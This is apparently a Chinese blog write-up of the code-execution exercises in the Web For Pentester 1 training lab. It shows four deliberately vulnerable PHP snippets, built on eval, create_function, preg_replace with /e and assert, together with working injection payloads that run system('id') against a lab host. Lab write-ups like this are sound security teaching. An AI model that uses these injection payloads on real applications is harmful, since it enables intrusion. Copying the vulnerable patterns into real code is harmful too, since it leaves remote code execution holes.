zoukankan      html  css  js  c++  java
  • Web For Pentester1

    Example 1

    源码:

    <?php require_once("../header.php"); ?>

    <?php
    $str="echo "Hello ".$_GET['name']."!!!";";

    eval($str);
    ?>
    <?php require_once("../footer.php"); ?>

    解释:name 参数通过 GET 方式传递,然后没有任何过滤,最终直接被 eval 函数解析,这样当用户 name 传递非法字符的时候,就会产生代码注入,但是注入前我们需要闭合好原来的语句

    payload:

    '";system('id');//

    http://10.10.202.152/codeexec/example1.php?name=%27%22;system(%27id%27);//

    # 使用 . 拼接字符串 闭合后面双引号
    name=hacker".system('id');$a="
    # 使用 . 拼接字符串 注释掉后面双引号
    name=hacker".system('id');//
    # 使用 ${${code}} 直接插入代码
    name=${${system('id')}}

    Example 2

    源码:

    <?php require_once("../header.php") ?>
    <?php
    class User{
    public $id, $name, $age;
    function __construct($id, $name, $age){
    $this->name= $name;
    $this->age = $age;
    $this->id = $id;
    }
    }
    require_once('../header.php');
    require_once('../sqli/db.php');
    $sql = "SELECT * FROM users ";

    $order = $_GET["order"];
    $result = mysql_query($sql);
    if ($result) {
    while ($row = mysql_fetch_assoc($result)) {
    $users[] = new User($row['id'],$row['name'],$row['age']);
    }
    if (isset($order)) {
    usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    }
    }

    ?>
    <table class='table table-striped' >
    <tr>
    <th><a href="example2.php?order=id">id</th>
    <th><a href="example2.php?order=name">name</th>
    <th><a href="example2.php?order=age">age</th>
    </tr>
    <?php

    foreach ($users as $user) {
    echo "<tr>";
    echo "<td>".$user->id."</td>";
    echo "<td>".$user->name."</td>";
    echo "<td>".$user->age."</td>";
    echo "</tr>";
    }
    echo "</table>";
    require '../footer.php';
    ?>

    解释:

    usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); 

    用户自定义的比较函数对数组中的元素进行排序

    usort(array,myfunction);

    这里面 order 变量 $order = $_GET["order"]; 是通过 GET 方式传递,唯一可控的,这里我们来尝试闭合掉这个 create_function 来进行代码注入

    id);}system('id');//

    return strcmp($a->id);}phpinfo();//,$b->id);}system('id');//);

    payload:

    http://10.10.202.152/codeexec/example2.php?order=id);}system('id');//

    Example 3

    源码:

    <?php require_once("../header.php"); ?>
    <?php
    echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);

    ?>

    <?php require_once("../footer.php"); ?>

    解释:

    <?php
    echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
    ?>
    preg_replace()
    执行一个正则表达式的搜索和替换

    preg_replace($pattern ,$replacement,$subject [,int $limit = -1 [,int &$count ]])
    参数 说明
    $pattern 要搜索的模式,可以是字符串或一个字符串数组
    $replacement 用于替换的字符串或字符串数组
    $subject 要搜索替换的目标字符串或字符串数组
    $limit 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)
    $count 可选,为替换执行的次数

    版本 说明
    7.0.0 不再支持 /e修饰符。 请用 preg_replace_callback() 代替
    5.5.0 /e 修饰符已经被弃用了。使用 preg_replace_callback() 代替。
    5.1.0 增加参数count
    $pattern 在 /e 模式下会将新输入 $replacement参数的值当成 PHP 代码执行

    payload:

    new=system('id')&pattern=/lamer/e&base=Hello lamer

    Example 4

    源码:

    <?php
    require_once("../header.php");
    // ensure name is not empty
    assert(trim("'".$_GET['name']."'"));
    echo "Hello ".htmlentities($_GET['name']);
    require_once("../footer.php");
    ?>

    解释:

    函数trim
    移除字符串两侧的空白字符或其他预定义字符。
    trim(string,charlist)
    参数 说明
    string 必需。规定要检查的字符串。
    charlist 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:
    “” - NULL
    “ ” - 制表符
    “ ” - 换行
    “x0B” - 垂直制表符
    “ ” - 回车
    “ “ - 空格
    assert 在 PHP 5 的版本中也是可以执行代码的,思路和 Example 1 那样,闭合语句导致代码执行

    payload: 

    # 闭合前面单引号 注释掉后面单引号
    /codeexec/example4.php?name=hacker'.system('id');//
    # 闭合前后单引号
    /codeexec/example4.php?name=hacker'.system('id').'
    # ${${code}} 直接插入代码
    /codeexec/example4.php?name=hacker'.${${system('id')}}.'

    OVER!

  • 相关阅读:
    二分查找binarySearch
    快速排序quicksort实现方法
    读书清单
    windows 下遍历文件夹
    如何输出 android.mk 及 Application.mk 中个变量的值
    【转】 armeabi与armeabi-v7a
    Application.mk
    【转】TypeError: 'module' object is not callable 原因分析
    User breakpoint called from code at XXX的解决方式记录
    关于溢出的一些体会
  • 原文地址:https://www.cnblogs.com/hack404/p/13192413.html
Copyright © 2011-2022 走看看